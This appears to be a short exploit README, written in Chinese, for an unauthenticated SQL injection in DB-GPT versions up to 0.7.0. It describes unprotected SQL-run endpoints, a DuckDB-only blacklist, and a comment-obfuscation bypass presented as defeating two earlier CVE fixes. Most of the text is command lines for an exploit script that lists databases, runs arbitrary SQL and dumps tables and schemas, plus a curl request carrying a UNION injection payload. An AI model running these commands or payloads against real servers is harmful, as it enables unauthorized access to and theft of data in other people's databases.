预身份验证SQL注入在 DB-GPT <= 0.7.0
/api/v1/editor/sql/run 和 /api/v1/editor/chart/run 端点接受任意SQL而不需要身份验证。sanitize_sql 黑名单仅覆盖 DuckDB;MySQL、PostgreSQL 和 SQLite 连接接收原始用户输入,不过滤。DuckDB 黑名单本身可以通过注释混淆(SEL/**/ECT)绕过。
这是对 CVE-2024-10835 和 CVE-2024-10901 的绕过。
# List databases
python3 exp.py http://target:5670 --list-dbs
# Execute SQL
python3 exp.py http://target:5670 <db_name> --sql "SELECT VERSION()"
# Dump tables
python3 exp.py http://target:5670 <db_name> --dump-tables
# Dump schema
python3 exp.py http://target:5670 <db_name> --dump-db
# DuckDB bypass
python3 exp.py http://target:5670 <db_name> --duckdb-bypass --sql "SELECT CURRENT_SETTING('access_mode')"
# Interactive mode
python3 exp.py http://target:5670 <db_name>
curl -X POST "http://target:5670/api/v1/editor/sql/run" \
-H "Content-Type: application/json" \
-d '{"db_name":"test_db","sql":"SELECT 1 UNION ALL SELECT table_name FROM information_schema.tables--"}'